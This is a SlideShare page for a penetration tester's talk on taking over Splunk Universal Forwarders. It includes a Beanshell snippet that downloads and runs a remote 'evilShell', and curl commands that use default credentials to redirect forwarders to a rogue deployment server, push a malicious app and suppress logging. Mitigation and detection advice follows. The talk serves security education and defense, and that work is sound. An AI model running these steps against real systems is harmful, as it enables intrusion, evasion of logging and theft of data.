SlideShare a Scribd company logo
Splunk: Forward me the REST
of those shells
Introduction
Anthony Hendricks
• I break things for a living
• Penetration Tester at Defense Point Security
• Disclaimer:
• This talk is my own work and may not necessarily reflect the views of my
employer. This is not intended to shame any companies mentioned, instead
focus the importance of good application deployment and installation
procedures
Some Splunk Background
•For those not familiar
•Splunk is a logging platform/SIEM
•Typically uses agents called ”Universal Forwarders”
(aka Forwarders) for sending
•Forwarders can be configured
• Manually via config files
• Via deployment server
Setting the Stage
•Pentesting a web application
•Well secured, modern coding practices
•JS-heavy, not much dynamic content
•Until…..
The Pentest Begins
• Discovered Adobe Livecycle
• Adobe kindly provides a scripting interface for all of their
applications
Some Java/Beanshell Code
import java.lang.*;
import java.util.*;
import java.io.*;
import java.net.*;
String[] cmd = {"/usr/bin/wget", "http://<IP>/evilShell"};
Runtime.getRuntime().exec(cmd);
exec("/bin/chmod 700 evilShell");
String[] cmd = {"/bin/sh", "-c", "evilShell"};
Runtime.getRuntime().exec(cmd);
Shell
• So I have my shell
• Now what?
• Limited to the jboss user (no root dance yet)
• Hardened/patched OS (RHEL)
• One simple oversight:
Blue Team Turned Evil?
• How can I use this?
• Assemble the brain-trust!
Default Creds Again?
• The Splunk Universal Forwarder still had default credentials
• Known issue, Splunk restricted the REST API to localhost only
when default credentials were used
• admin // changeme
Curl to the Rescue
•Step 1:
•Test hypothesis
curl -u "admin:changeme" -k
https://127.0.0.1:8089/services/deployment/client
• Returns
<s:key name="targetUri">10.0.1.20:8089</s:key>
Abusing Splunk for Fun and Profit
•Step 2
•Set up my own Deployment server
Splunk TA-Shell
•Step 3
•Write some code (or borrow it)
The Hard Way
•Step 4
•Direct the UF to the new deployment server
curl -u "admin:changeme" -k
"https://127.0.0.1:8089/services/deployment/client/conf" -d
targetUri='<IP>:<port>'
curl -u "admin:changeme" -k
"https://127.0.0.1:8089/services/server/control/restart" –d ‘’
App Deployment
•Step 5
•Deploy the new app
•Takes up to 5 minutes to
check in and deploy
Then We Wait
•Step 6
•Profit!
Abusing Splunk for Fun and Profit
• In this particular instance, once I had root I was able to
pillage all of the Chef scripts for credentials and github
repositories
• Result
• Complete exploitation of every server in the network
• S3 access (encrypted PII)
• Reverse engineered the web application to discover encryption
key storage
• Fully decrypted PII, ability to change, delete
Long Story Short
The Easy Way
•It just keeps getting better:
•Deploy your app without an evil deployment server
•POST the file and deploy with one command
•curl -k -u admin:changeme
"https://localhost:8090/services/apps/local" -d
filename=1 -d name=/path/to/evilapp.tgz
What About Logging?
• Internal logging by the forwarder is complex
• AuditLogger - Audit:[timestamp=06-03-2017
09:19:00.136, user=admin, action=login attempt,
info=succeeded, src=127.0.0.1][n/a]
• REST can change logging levels too
• curl -k -u
admin:changeme https://localhost:8090/servicesNS/nobody/system/admin/l
ogger/HTTPAccess -d 'level=ERROR’
Mitigations: Default Creds
•Change them!
•Make them hard to guess
•99% of the time you don’t even need to know
them
•If you need Forwarder credentials
•Remove $SPLUNK_HOME/etc/passwd, and
restart Splunk
Mitigations: REST API
•Forwarders don’t need the REST API
• Indexers and Search Heads usually do (YMMV)
• Best practice: disable the REST API entirely on
Forwarders
• https://github.com/georgestarcher/UF-TA-killrest
•Known issue for Splunk
• REST API is restricted to 127.0.0.1 if the credentials are
default
Mitigations: Detection
•Log and alert on Splunk metadata events
• Watch for forwarders failing to check in
• Changes via REST are logged and forwarded
• Lots of artifacts left by this technique
• Hard to find and squash before it gets shipped to the
indexers
index=_internal sourcetype=splunkd DeployedApplication
Downloaded url!=<deployment server here>
Mitigation: Extended Logging
Props.conf:
[source::.../var/log/splunk/audit.log(.d+)?]
TRANSFORMS = send_to_underscore_audit
Transforms.conf:
[send_to_underscore_audit]
MV_ADD = true
DEST_KEY = _MetaData:Index
REGEX = .
FORMAT = _audit
Extended Logging Example
03-14-2018 09:02:05.747 -0500 INFO
AuditLogger - Audit:[timestamp=03-14-2018
09:02:05.747, user=admin,
action=edit_server, info=granted
object="HTTPAccess" operation=edit][n/a]
Mitigations: TLS
• Force all Deployment Server communications to use
properly validated TLS certificates
• Won’t stop the fake Deployment Server attack but makes
it a lot more difficult
• Encrypted Command and Control is just good practice
Mitigations: Run Unprivileged
• Most difficult
• Requires all forwarded logs to be readable by Splunk user
• SELinux may cause problems
• Not always effective
• Splunk User runas config option was available to
unprivileged Splunk user
• Splunk services start as root, then forks to assigned user
• https://www.splunk.com/view/SP-CAAAP3M
• Lock down splunk-launch.conf
Forwarder Hardening Guide
• https://github.com/MattUebel/splunk_UF_hardening
1. Changing Service Account
2. Changing Credentials
3. Disabling REST Port
4. Deployment Server Hardening/Monitoring
5. SSL
Questions?
• Thanks to:
• Duane Waddle (duckfez)
• Matt Uebel (@muebel)
• George Starcher (@georgestarcher)
• Jason Ashbaugh (@techxicologist)

More Related Content

What's hot

Nike popup compliance workshop
Nike popup compliance workshopNike popup compliance workshop
Nike popup compliance workshop
Chef
 
Adding Security and Compliance to Your Workflow with InSpec
Adding Security and Compliance to Your Workflow with InSpecAdding Security and Compliance to Your Workflow with InSpec
Adding Security and Compliance to Your Workflow with InSpec
Mandi Walls
 
Adding Security to Your Workflow with InSpec (MAY 2017)
Adding Security to Your Workflow with InSpec (MAY 2017)Adding Security to Your Workflow with InSpec (MAY 2017)
Adding Security to Your Workflow with InSpec (MAY 2017)
Mandi Walls
 
OSDC 2017 | Building Security Into Your Workflow with InSpec by Mandi Walls
OSDC 2017 | Building Security Into Your Workflow with InSpec by Mandi WallsOSDC 2017 | Building Security Into Your Workflow with InSpec by Mandi Walls
OSDC 2017 | Building Security Into Your Workflow with InSpec by Mandi Walls
NETWAYS
 
Lightning Fast Monitoring against Lightning Fast Outages
Lightning Fast Monitoring against Lightning Fast OutagesLightning Fast Monitoring against Lightning Fast Outages
Lightning Fast Monitoring against Lightning Fast Outages
Maxime Petazzoni
 
Achieving DevOps Success with Chef Automate
Achieving DevOps Success with Chef AutomateAchieving DevOps Success with Chef Automate
Achieving DevOps Success with Chef Automate
Chef
 
DevOpsDaysRiga 2017: Mandi Walls - Building security into your workflow with ...
DevOpsDaysRiga 2017: Mandi Walls - Building security into your workflow with ...DevOpsDaysRiga 2017: Mandi Walls - Building security into your workflow with ...
DevOpsDaysRiga 2017: Mandi Walls - Building security into your workflow with ...
DevOpsDays Riga
 
Automated Infrastructure Testing
Automated Infrastructure TestingAutomated Infrastructure Testing
Automated Infrastructure Testing
Ranjib Dey
 
InSpec Workflow for DevOpsDays Riga 2017
InSpec Workflow for DevOpsDays Riga 2017InSpec Workflow for DevOpsDays Riga 2017
InSpec Workflow for DevOpsDays Riga 2017
Mandi Walls
 
Create Disposable Test Environments with Vagrant and Puppet
Create Disposable Test Environments with Vagrant and PuppetCreate Disposable Test Environments with Vagrant and Puppet
Create Disposable Test Environments with Vagrant and Puppet
Gene Gotimer
 
Windows 8 fuzz
Windows 8 fuzzWindows 8 fuzz
Windows 8 fuzz
Olav Tvedt
 
Mitigating Exploits Using Apple's Endpoint Security
Mitigating Exploits Using Apple's Endpoint SecurityMitigating Exploits Using Apple's Endpoint Security
Mitigating Exploits Using Apple's Endpoint Security
Csaba Fitzl
 
Prescriptive System Security with InSpec
Prescriptive System Security with InSpecPrescriptive System Security with InSpec
Prescriptive System Security with InSpec
All Things Open
 
AltConf 2017: Full Stack Swift in 30 Minutes
AltConf 2017: Full Stack Swift in 30 MinutesAltConf 2017: Full Stack Swift in 30 Minutes
AltConf 2017: Full Stack Swift in 30 Minutes
Chris Bailey
 
DevOpsDays Singapore - Continuous Auditing with Compliance as Code
DevOpsDays Singapore - Continuous Auditing with Compliance as CodeDevOpsDays Singapore - Continuous Auditing with Compliance as Code
DevOpsDays Singapore - Continuous Auditing with Compliance as Code
Matt Ray
 
OSDC2014: Testing Server Infrastructure with #serverspec
OSDC2014: Testing Server Infrastructure with #serverspecOSDC2014: Testing Server Infrastructure with #serverspec
OSDC2014: Testing Server Infrastructure with #serverspec
Andreas Schmidt
 
Prescriptive Security with InSpec - All Things Open 2019
Prescriptive Security with InSpec - All Things Open 2019Prescriptive Security with InSpec - All Things Open 2019
Prescriptive Security with InSpec - All Things Open 2019
Mandi Walls
 
Adding Security to Your Workflow With InSpec - SCaLE17x
Adding Security to Your Workflow With InSpec - SCaLE17xAdding Security to Your Workflow With InSpec - SCaLE17x
Adding Security to Your Workflow With InSpec - SCaLE17x
Mandi Walls
 
Using Chef InSpec for Infrastructure Security
Using Chef InSpec for Infrastructure SecurityUsing Chef InSpec for Infrastructure Security
Using Chef InSpec for Infrastructure Security
Mandi Walls
 

What's hot (19)

Nike popup compliance workshop
Nike popup compliance workshopNike popup compliance workshop
Nike popup compliance workshop
 
Adding Security and Compliance to Your Workflow with InSpec
Adding Security and Compliance to Your Workflow with InSpecAdding Security and Compliance to Your Workflow with InSpec
Adding Security and Compliance to Your Workflow with InSpec
 
Adding Security to Your Workflow with InSpec (MAY 2017)
Adding Security to Your Workflow with InSpec (MAY 2017)Adding Security to Your Workflow with InSpec (MAY 2017)
Adding Security to Your Workflow with InSpec (MAY 2017)
 
OSDC 2017 | Building Security Into Your Workflow with InSpec by Mandi Walls
OSDC 2017 | Building Security Into Your Workflow with InSpec by Mandi WallsOSDC 2017 | Building Security Into Your Workflow with InSpec by Mandi Walls
OSDC 2017 | Building Security Into Your Workflow with InSpec by Mandi Walls
 
Lightning Fast Monitoring against Lightning Fast Outages
Lightning Fast Monitoring against Lightning Fast OutagesLightning Fast Monitoring against Lightning Fast Outages
Lightning Fast Monitoring against Lightning Fast Outages
 
Achieving DevOps Success with Chef Automate
Achieving DevOps Success with Chef AutomateAchieving DevOps Success with Chef Automate
Achieving DevOps Success with Chef Automate
 
DevOpsDaysRiga 2017: Mandi Walls - Building security into your workflow with ...
DevOpsDaysRiga 2017: Mandi Walls - Building security into your workflow with ...DevOpsDaysRiga 2017: Mandi Walls - Building security into your workflow with ...
DevOpsDaysRiga 2017: Mandi Walls - Building security into your workflow with ...
 
Automated Infrastructure Testing
Automated Infrastructure TestingAutomated Infrastructure Testing
Automated Infrastructure Testing
 
InSpec Workflow for DevOpsDays Riga 2017
InSpec Workflow for DevOpsDays Riga 2017InSpec Workflow for DevOpsDays Riga 2017
InSpec Workflow for DevOpsDays Riga 2017
 
Create Disposable Test Environments with Vagrant and Puppet
Create Disposable Test Environments with Vagrant and PuppetCreate Disposable Test Environments with Vagrant and Puppet
Create Disposable Test Environments with Vagrant and Puppet
 
Windows 8 fuzz
Windows 8 fuzzWindows 8 fuzz
Windows 8 fuzz
 
Mitigating Exploits Using Apple's Endpoint Security
Mitigating Exploits Using Apple's Endpoint SecurityMitigating Exploits Using Apple's Endpoint Security
Mitigating Exploits Using Apple's Endpoint Security
 
Prescriptive System Security with InSpec
Prescriptive System Security with InSpecPrescriptive System Security with InSpec
Prescriptive System Security with InSpec
 
AltConf 2017: Full Stack Swift in 30 Minutes
AltConf 2017: Full Stack Swift in 30 MinutesAltConf 2017: Full Stack Swift in 30 Minutes
AltConf 2017: Full Stack Swift in 30 Minutes
 
DevOpsDays Singapore - Continuous Auditing with Compliance as Code
DevOpsDays Singapore - Continuous Auditing with Compliance as CodeDevOpsDays Singapore - Continuous Auditing with Compliance as Code
DevOpsDays Singapore - Continuous Auditing with Compliance as Code
 
OSDC2014: Testing Server Infrastructure with #serverspec
OSDC2014: Testing Server Infrastructure with #serverspecOSDC2014: Testing Server Infrastructure with #serverspec
OSDC2014: Testing Server Infrastructure with #serverspec
 
Prescriptive Security with InSpec - All Things Open 2019
Prescriptive Security with InSpec - All Things Open 2019Prescriptive Security with InSpec - All Things Open 2019
Prescriptive Security with InSpec - All Things Open 2019
 
Adding Security to Your Workflow With InSpec - SCaLE17x
Adding Security to Your Workflow With InSpec - SCaLE17xAdding Security to Your Workflow With InSpec - SCaLE17x
Adding Security to Your Workflow With InSpec - SCaLE17x
 
Using Chef InSpec for Infrastructure Security
Using Chef InSpec for Infrastructure SecurityUsing Chef InSpec for Infrastructure Security
Using Chef InSpec for Infrastructure Security
 

Similar to Splunk: Forward me the REST of those shells

Ansible benelux meetup - Amsterdam 27-5-2015
Ansible benelux meetup - Amsterdam 27-5-2015Ansible benelux meetup - Amsterdam 27-5-2015
Ansible benelux meetup - Amsterdam 27-5-2015
Pavel Chunyayev
 
A Byte of Software Deployment
A Byte of Software DeploymentA Byte of Software Deployment
A Byte of Software Deployment
Gong Haibing
 
InSpec For DevOpsDays Amsterdam 2017
InSpec For DevOpsDays Amsterdam 2017InSpec For DevOpsDays Amsterdam 2017
InSpec For DevOpsDays Amsterdam 2017
Mandi Walls
 
Anatomy of a Build Pipeline
Anatomy of a Build PipelineAnatomy of a Build Pipeline
Anatomy of a Build Pipeline
Samuel Brown
 
OSDC 2017 - Mandi Walls - Building security into your workflow with inspec
OSDC 2017 - Mandi Walls - Building security into your workflow with inspecOSDC 2017 - Mandi Walls - Building security into your workflow with inspec
OSDC 2017 - Mandi Walls - Building security into your workflow with inspec
NETWAYS
 
Integration Testing as Validation and Monitoring
 Integration Testing as Validation and Monitoring Integration Testing as Validation and Monitoring
Integration Testing as Validation and Monitoring
Melissa Benua
 
Cloud Platforms for Java
Cloud Platforms for JavaCloud Platforms for Java
Cloud Platforms for Java
3Pillar Global
 
DevOps on AWS: Accelerating Software Delivery with the AWS Developer Tools
DevOps on AWS: Accelerating Software Delivery with the AWS Developer ToolsDevOps on AWS: Accelerating Software Delivery with the AWS Developer Tools
DevOps on AWS: Accelerating Software Delivery with the AWS Developer Tools
Amazon Web Services
 
Continuos Integration and Delivery: from Zero to Hero with TeamCity, Docker a...
Continuos Integration and Delivery: from Zero to Hero with TeamCity, Docker a...Continuos Integration and Delivery: from Zero to Hero with TeamCity, Docker a...
Continuos Integration and Delivery: from Zero to Hero with TeamCity, Docker a...
Lean IT Consulting
 
Automating Software Development Life Cycle - A DevOps Approach
Automating Software Development Life Cycle - A DevOps ApproachAutomating Software Development Life Cycle - A DevOps Approach
Automating Software Development Life Cycle - A DevOps Approach
Akshaya Mahapatra
 
Continuous Delivery, Continuous Integration
Continuous Delivery, Continuous Integration Continuous Delivery, Continuous Integration
Continuous Delivery, Continuous Integration
Amazon Web Services
 
CIRCUIT 2015 - Monitoring AEM
CIRCUIT 2015 - Monitoring AEMCIRCUIT 2015 - Monitoring AEM
CIRCUIT 2015 - Monitoring AEM
ICF CIRCUIT
 
Continuous Integration with Open Source Tools - PHPUgFfm 2014-11-20
Continuous Integration with Open Source Tools - PHPUgFfm 2014-11-20Continuous Integration with Open Source Tools - PHPUgFfm 2014-11-20
Continuous Integration with Open Source Tools - PHPUgFfm 2014-11-20
Michael Lihs
 
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
Hackito Ergo Sum
 
Cloud native development without the toil
Cloud native development without the toilCloud native development without the toil
Cloud native development without the toil
Ambassador Labs
 
GOTOpia 2/2021 "Cloud Native Development Without the Toil: An Overview of Pra...
GOTOpia 2/2021 "Cloud Native Development Without the Toil: An Overview of Pra...GOTOpia 2/2021 "Cloud Native Development Without the Toil: An Overview of Pra...
GOTOpia 2/2021 "Cloud Native Development Without the Toil: An Overview of Pra...
Daniel Bryant
 
Automating Post Exploitation with PowerShell
Automating Post Exploitation with PowerShellAutomating Post Exploitation with PowerShell
Automating Post Exploitation with PowerShell
EnclaveSecurity
 
PaaSTA: Autoscaling at Yelp
PaaSTA: Autoscaling at YelpPaaSTA: Autoscaling at Yelp
PaaSTA: Autoscaling at Yelp
Nathan Handler
 
DockerCon Europe 2018 Monitoring & Logging Workshop
DockerCon Europe 2018 Monitoring & Logging WorkshopDockerCon Europe 2018 Monitoring & Logging Workshop
DockerCon Europe 2018 Monitoring & Logging Workshop
Brian Christner
 
Profiling and Tuning a Web Application - The Dirty Details
Profiling and Tuning a Web Application - The Dirty DetailsProfiling and Tuning a Web Application - The Dirty Details
Profiling and Tuning a Web Application - The Dirty Details
Achievers Tech
 

Similar to Splunk: Forward me the REST of those shells (20)

Ansible benelux meetup - Amsterdam 27-5-2015
Ansible benelux meetup - Amsterdam 27-5-2015Ansible benelux meetup - Amsterdam 27-5-2015
Ansible benelux meetup - Amsterdam 27-5-2015
 
A Byte of Software Deployment
A Byte of Software DeploymentA Byte of Software Deployment
A Byte of Software Deployment
 
InSpec For DevOpsDays Amsterdam 2017
InSpec For DevOpsDays Amsterdam 2017InSpec For DevOpsDays Amsterdam 2017
InSpec For DevOpsDays Amsterdam 2017
 
Anatomy of a Build Pipeline
Anatomy of a Build PipelineAnatomy of a Build Pipeline
Anatomy of a Build Pipeline
 
OSDC 2017 - Mandi Walls - Building security into your workflow with inspec
OSDC 2017 - Mandi Walls - Building security into your workflow with inspecOSDC 2017 - Mandi Walls - Building security into your workflow with inspec
OSDC 2017 - Mandi Walls - Building security into your workflow with inspec
 
Integration Testing as Validation and Monitoring
 Integration Testing as Validation and Monitoring Integration Testing as Validation and Monitoring
Integration Testing as Validation and Monitoring
 
Cloud Platforms for Java
Cloud Platforms for JavaCloud Platforms for Java
Cloud Platforms for Java
 
DevOps on AWS: Accelerating Software Delivery with the AWS Developer Tools
DevOps on AWS: Accelerating Software Delivery with the AWS Developer ToolsDevOps on AWS: Accelerating Software Delivery with the AWS Developer Tools
DevOps on AWS: Accelerating Software Delivery with the AWS Developer Tools
 
Continuos Integration and Delivery: from Zero to Hero with TeamCity, Docker a...
Continuos Integration and Delivery: from Zero to Hero with TeamCity, Docker a...Continuos Integration and Delivery: from Zero to Hero with TeamCity, Docker a...
Continuos Integration and Delivery: from Zero to Hero with TeamCity, Docker a...
 
Automating Software Development Life Cycle - A DevOps Approach
Automating Software Development Life Cycle - A DevOps ApproachAutomating Software Development Life Cycle - A DevOps Approach
Automating Software Development Life Cycle - A DevOps Approach
 
Continuous Delivery, Continuous Integration
Continuous Delivery, Continuous Integration Continuous Delivery, Continuous Integration
Continuous Delivery, Continuous Integration
 
CIRCUIT 2015 - Monitoring AEM
CIRCUIT 2015 - Monitoring AEMCIRCUIT 2015 - Monitoring AEM
CIRCUIT 2015 - Monitoring AEM
 
Continuous Integration with Open Source Tools - PHPUgFfm 2014-11-20
Continuous Integration with Open Source Tools - PHPUgFfm 2014-11-20Continuous Integration with Open Source Tools - PHPUgFfm 2014-11-20
Continuous Integration with Open Source Tools - PHPUgFfm 2014-11-20
 
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
 
Cloud native development without the toil
Cloud native development without the toilCloud native development without the toil
Cloud native development without the toil
 
GOTOpia 2/2021 "Cloud Native Development Without the Toil: An Overview of Pra...
GOTOpia 2/2021 "Cloud Native Development Without the Toil: An Overview of Pra...GOTOpia 2/2021 "Cloud Native Development Without the Toil: An Overview of Pra...
GOTOpia 2/2021 "Cloud Native Development Without the Toil: An Overview of Pra...
 
Automating Post Exploitation with PowerShell
Automating Post Exploitation with PowerShellAutomating Post Exploitation with PowerShell
Automating Post Exploitation with PowerShell
 
PaaSTA: Autoscaling at Yelp
PaaSTA: Autoscaling at YelpPaaSTA: Autoscaling at Yelp
PaaSTA: Autoscaling at Yelp
 
DockerCon Europe 2018 Monitoring & Logging Workshop
DockerCon Europe 2018 Monitoring & Logging WorkshopDockerCon Europe 2018 Monitoring & Logging Workshop
DockerCon Europe 2018 Monitoring & Logging Workshop
 
Profiling and Tuning a Web Application - The Dirty Details
Profiling and Tuning a Web Application - The Dirty DetailsProfiling and Tuning a Web Application - The Dirty Details
Profiling and Tuning a Web Application - The Dirty Details
 

Recently uploaded

Salesforce Integration for Bonterra Impact Management (fka Social Solutions A...
Salesforce Integration for Bonterra Impact Management (fka Social Solutions A...Salesforce Integration for Bonterra Impact Management (fka Social Solutions A...
Salesforce Integration for Bonterra Impact Management (fka Social Solutions A...
Jeffrey Haguewood
 
Skybuffer SAM4U tool for SAP license adoption
Skybuffer SAM4U tool for SAP license adoptionSkybuffer SAM4U tool for SAP license adoption
Skybuffer SAM4U tool for SAP license adoption
Tatiana Kojar
 
WeTestAthens: Postman's AI & Automation Techniques
WeTestAthens: Postman's AI & Automation TechniquesWeTestAthens: Postman's AI & Automation Techniques
WeTestAthens: Postman's AI & Automation Techniques
Postman
 
Digital Marketing Trends in 2024 | Guide for Staying Ahead
Digital Marketing Trends in 2024 | Guide for Staying AheadDigital Marketing Trends in 2024 | Guide for Staying Ahead
Digital Marketing Trends in 2024 | Guide for Staying Ahead
Wask
 
GNSS spoofing via SDR (Criptored Talks 2024)
GNSS spoofing via SDR (Criptored Talks 2024)GNSS spoofing via SDR (Criptored Talks 2024)
GNSS spoofing via SDR (Criptored Talks 2024)
Javier Junquera
 
Introduction of Cybersecurity with OSS at Code Europe 2024
Introduction of Cybersecurity with OSS  at Code Europe 2024Introduction of Cybersecurity with OSS  at Code Europe 2024
Introduction of Cybersecurity with OSS at Code Europe 2024
Hiroshi SHIBATA
 
leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...
leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...
leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...
alexjohnson7307
 
zkStudyClub - LatticeFold: A Lattice-based Folding Scheme and its Application...
zkStudyClub - LatticeFold: A Lattice-based Folding Scheme and its Application...zkStudyClub - LatticeFold: A Lattice-based Folding Scheme and its Application...
zkStudyClub - LatticeFold: A Lattice-based Folding Scheme and its Application...
Alex Pruden
 
Dandelion Hashtable: beyond billion requests per second on a commodity server
Dandelion Hashtable: beyond billion requests per second on a commodity serverDandelion Hashtable: beyond billion requests per second on a commodity server
Dandelion Hashtable: beyond billion requests per second on a commodity server
Antonios Katsarakis
 
How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf
How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdfHow to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf
How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf
Chart Kalyan
 
JavaLand 2024: Application Development Green Masterplan
JavaLand 2024: Application Development Green MasterplanJavaLand 2024: Application Development Green Masterplan
JavaLand 2024: Application Development Green Masterplan
Miro Wengner
 
Trusted Execution Environment for Decentralized Process Mining
Trusted Execution Environment for Decentralized Process MiningTrusted Execution Environment for Decentralized Process Mining
Trusted Execution Environment for Decentralized Process Mining
LucaBarbaro3
 
Best 20 SEO Techniques To Improve Website Visibility In SERP
Best 20 SEO Techniques To Improve Website Visibility In SERPBest 20 SEO Techniques To Improve Website Visibility In SERP
Best 20 SEO Techniques To Improve Website Visibility In SERP
Pixlogix Infotech
 
Overcoming the PLG Trap: Lessons from Canva's Head of Sales & Head of EMEA Da...
Overcoming the PLG Trap: Lessons from Canva's Head of Sales & Head of EMEA Da...Overcoming the PLG Trap: Lessons from Canva's Head of Sales & Head of EMEA Da...
Overcoming the PLG Trap: Lessons from Canva's Head of Sales & Head of EMEA Da...
saastr
 
Energy Efficient Video Encoding for Cloud and Edge Computing Instances
Energy Efficient Video Encoding for Cloud and Edge Computing InstancesEnergy Efficient Video Encoding for Cloud and Edge Computing Instances
Energy Efficient Video Encoding for Cloud and Edge Computing Instances
Alpen-Adria-Universität
 
Fueling AI with Great Data with Airbyte Webinar
Fueling AI with Great Data with Airbyte WebinarFueling AI with Great Data with Airbyte Webinar
Fueling AI with Great Data with Airbyte Webinar
Zilliz
 
Your One-Stop Shop for Python Success: Top 10 US Python Development Providers
Your One-Stop Shop for Python Success: Top 10 US Python Development ProvidersYour One-Stop Shop for Python Success: Top 10 US Python Development Providers
Your One-Stop Shop for Python Success: Top 10 US Python Development Providers
akankshawande
 
Main news related to the CCS TSI 2023 (2023/1695)
Main news related to the CCS TSI 2023 (2023/1695)Main news related to the CCS TSI 2023 (2023/1695)
Main news related to the CCS TSI 2023 (2023/1695)
Jakub Marek
 
Skybuffer AI: Advanced Conversational and Generative AI Solution on SAP Busin...
Skybuffer AI: Advanced Conversational and Generative AI Solution on SAP Busin...Skybuffer AI: Advanced Conversational and Generative AI Solution on SAP Busin...
Skybuffer AI: Advanced Conversational and Generative AI Solution on SAP Busin...
Tatiana Kojar
 
Deep Dive: AI-Powered Marketing to Get More Leads and Customers with HyperGro...
Deep Dive: AI-Powered Marketing to Get More Leads and Customers with HyperGro...Deep Dive: AI-Powered Marketing to Get More Leads and Customers with HyperGro...
Deep Dive: AI-Powered Marketing to Get More Leads and Customers with HyperGro...
saastr
 

Recently uploaded (20)

Salesforce Integration for Bonterra Impact Management (fka Social Solutions A...
Salesforce Integration for Bonterra Impact Management (fka Social Solutions A...Salesforce Integration for Bonterra Impact Management (fka Social Solutions A...
Salesforce Integration for Bonterra Impact Management (fka Social Solutions A...
 
Skybuffer SAM4U tool for SAP license adoption
Skybuffer SAM4U tool for SAP license adoptionSkybuffer SAM4U tool for SAP license adoption
Skybuffer SAM4U tool for SAP license adoption
 
WeTestAthens: Postman's AI & Automation Techniques
WeTestAthens: Postman's AI & Automation TechniquesWeTestAthens: Postman's AI & Automation Techniques
WeTestAthens: Postman's AI & Automation Techniques
 
Digital Marketing Trends in 2024 | Guide for Staying Ahead
Digital Marketing Trends in 2024 | Guide for Staying AheadDigital Marketing Trends in 2024 | Guide for Staying Ahead
Digital Marketing Trends in 2024 | Guide for Staying Ahead
 
GNSS spoofing via SDR (Criptored Talks 2024)
GNSS spoofing via SDR (Criptored Talks 2024)GNSS spoofing via SDR (Criptored Talks 2024)
GNSS spoofing via SDR (Criptored Talks 2024)
 
Introduction of Cybersecurity with OSS at Code Europe 2024
Introduction of Cybersecurity with OSS  at Code Europe 2024Introduction of Cybersecurity with OSS  at Code Europe 2024
Introduction of Cybersecurity with OSS at Code Europe 2024
 
leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...
leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...
leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...
 
zkStudyClub - LatticeFold: A Lattice-based Folding Scheme and its Application...
zkStudyClub - LatticeFold: A Lattice-based Folding Scheme and its Application...zkStudyClub - LatticeFold: A Lattice-based Folding Scheme and its Application...
zkStudyClub - LatticeFold: A Lattice-based Folding Scheme and its Application...
 
Dandelion Hashtable: beyond billion requests per second on a commodity server
Dandelion Hashtable: beyond billion requests per second on a commodity serverDandelion Hashtable: beyond billion requests per second on a commodity server
Dandelion Hashtable: beyond billion requests per second on a commodity server
 
How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf
How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdfHow to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf
How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf
 
JavaLand 2024: Application Development Green Masterplan
JavaLand 2024: Application Development Green MasterplanJavaLand 2024: Application Development Green Masterplan
JavaLand 2024: Application Development Green Masterplan
 
Trusted Execution Environment for Decentralized Process Mining
Trusted Execution Environment for Decentralized Process MiningTrusted Execution Environment for Decentralized Process Mining
Trusted Execution Environment for Decentralized Process Mining
 
Best 20 SEO Techniques To Improve Website Visibility In SERP
Best 20 SEO Techniques To Improve Website Visibility In SERPBest 20 SEO Techniques To Improve Website Visibility In SERP
Best 20 SEO Techniques To Improve Website Visibility In SERP
 
Overcoming the PLG Trap: Lessons from Canva's Head of Sales & Head of EMEA Da...
Overcoming the PLG Trap: Lessons from Canva's Head of Sales & Head of EMEA Da...Overcoming the PLG Trap: Lessons from Canva's Head of Sales & Head of EMEA Da...
Overcoming the PLG Trap: Lessons from Canva's Head of Sales & Head of EMEA Da...
 
Energy Efficient Video Encoding for Cloud and Edge Computing Instances
Energy Efficient Video Encoding for Cloud and Edge Computing InstancesEnergy Efficient Video Encoding for Cloud and Edge Computing Instances
Energy Efficient Video Encoding for Cloud and Edge Computing Instances
 
Fueling AI with Great Data with Airbyte Webinar
Fueling AI with Great Data with Airbyte WebinarFueling AI with Great Data with Airbyte Webinar
Fueling AI with Great Data with Airbyte Webinar
 
Your One-Stop Shop for Python Success: Top 10 US Python Development Providers
Your One-Stop Shop for Python Success: Top 10 US Python Development ProvidersYour One-Stop Shop for Python Success: Top 10 US Python Development Providers
Your One-Stop Shop for Python Success: Top 10 US Python Development Providers
 
Main news related to the CCS TSI 2023 (2023/1695)
Main news related to the CCS TSI 2023 (2023/1695)Main news related to the CCS TSI 2023 (2023/1695)
Main news related to the CCS TSI 2023 (2023/1695)
 
Skybuffer AI: Advanced Conversational and Generative AI Solution on SAP Busin...
Skybuffer AI: Advanced Conversational and Generative AI Solution on SAP Busin...Skybuffer AI: Advanced Conversational and Generative AI Solution on SAP Busin...
Skybuffer AI: Advanced Conversational and Generative AI Solution on SAP Busin...
 
Deep Dive: AI-Powered Marketing to Get More Leads and Customers with HyperGro...
Deep Dive: AI-Powered Marketing to Get More Leads and Customers with HyperGro...Deep Dive: AI-Powered Marketing to Get More Leads and Customers with HyperGro...
Deep Dive: AI-Powered Marketing to Get More Leads and Customers with HyperGro...
 

Splunk: Forward me the REST of those shells

  • 1. Splunk: Forward me the REST of those shells
  • 3. Anthony Hendricks • I break things for a living • Penetration Tester at Defense Point Security • Disclaimer: • This talk is my own work and may not necessarily reflect the views of my employer. This is not intended to shame any companies mentioned, instead focus the importance of good application deployment and installation procedures
